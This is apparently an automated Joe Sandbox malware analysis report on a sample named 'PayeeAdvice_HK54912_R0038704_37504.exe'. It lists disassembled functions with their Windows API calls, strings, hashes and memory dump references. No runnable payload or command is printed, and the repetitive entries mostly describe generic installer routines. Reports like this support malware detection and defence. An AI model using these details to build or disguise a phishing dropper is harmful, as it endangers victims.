Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00403326 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00406208

CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00403347

Strings

1033, xrefs: 0040334E
C:\Users\user\AppData\Local\Temp\, xrefs: 00403327, 0040332C, 00403332, 0040333E, 00403346, 0040334D

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-2030658151
Opcode ID: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction ID: 15e16a0f1bb74d2da72680a3c6f5190242cf739030cfb371398593c950d8801c
Opcode Fuzzy Hash: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction Fuzzy Hash: 65D0C92250693171C55236663E06FCF166C8F4A32AF129077F805B90D6DB7C2A8245FE

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: ad4472eb048fd4f86da61da74e9e5b3811a19dd42f4402be3bbdcdbc4c44a188
Instruction ID: 2e01ab74a4c934f7e6015694823d512690d69bb111ffb1ad89b514660c000c84
Opcode Fuzzy Hash: ad4472eb048fd4f86da61da74e9e5b3811a19dd42f4402be3bbdcdbc4c44a188
Instruction Fuzzy Hash: 65219871904215F6CF106F95CE48ADEBAB4AB04358F70417BF601B51E0D7B94D41DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: c87ee951b69e9287724da4c2fa38da0a671d257472e11f53d94c14b3c1b0481d
Instruction ID: 0d74e211bf3f77f63613a954a16e526c6d046d9130d490d95d437df5f5263094
Opcode Fuzzy Hash: c87ee951b69e9287724da4c2fa38da0a671d257472e11f53d94c14b3c1b0481d
Instruction Fuzzy Hash: 2F2196B2604501ABCB10EB94DE8599FB3A8EB44318B24053BF541B32D1D778AC019FAD

Function 00402454 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,00000B6D,00000000,00000022,00000000,?,?), ref: 00402C6C

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402483
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402496
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsh2473.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 517814c6f651ee240b61b165206d5ac0b3e0be0642415c803f06eaab78b10a68
Instruction ID: d1cba53e09d25e0e4976289683f2ac1bdc9fdbf0613ee45d63c2eeb4b4bf5101
Opcode Fuzzy Hash: 517814c6f651ee240b61b165206d5ac0b3e0be0642415c803f06eaab78b10a68
Instruction Fuzzy Hash: 8AF0D1B1A04204AFEB148FA5DE88EBF767CEF40358F10483EF001A21C0D2B85D41DB2A

Function 10002868 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,00000B6D,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.KERNELBASE(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsh2473.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 46721b92d40d640d2f6aadb643be8dc990b493bf81be5550ca0503008034f64e
Instruction ID: d36666ef43ed86f5efc63e353f879872970ea39244a0d469f35bb849977519d9
Opcode Fuzzy Hash: 46721b92d40d640d2f6aadb643be8dc990b493bf81be5550ca0503008034f64e
Instruction Fuzzy Hash: 3A117371915205EEDF14CFA0C6889AFB7B4EF40359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction ID: f7aa54b913f5ca68b4de92db4f2492a915771a0f44b2d9fd206d2c7cbab0d3a4
Opcode Fuzzy Hash: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction Fuzzy Hash: B501F431724210ABE7295B789C05B6A3698E720314F10853FF911F72F1DA78DC138B4D

Function 004022D5 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,00000B6D,00000000,00000022,00000000,?,?), ref: 00402C6C

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004022F4
RegCloseKey.ADVAPI32(00000000), ref: 004022FD

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 816fb59d23b0977f6ef732cd369a029ecaf090c0f9f3f491ff21e0f5ffc01560
Instruction ID: f65991dd8835b810368ef95f62892a142216c4200c100bb05ab411dbf566f3c1
Opcode Fuzzy Hash: 816fb59d23b0977f6ef732cd369a029ecaf090c0f9f3f491ff21e0f5ffc01560
Instruction Fuzzy Hash: D5F06272A04210ABEB15AFF59A4EBAE7278DB04318F20453BF201B71D1D5FC5D028A6D

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
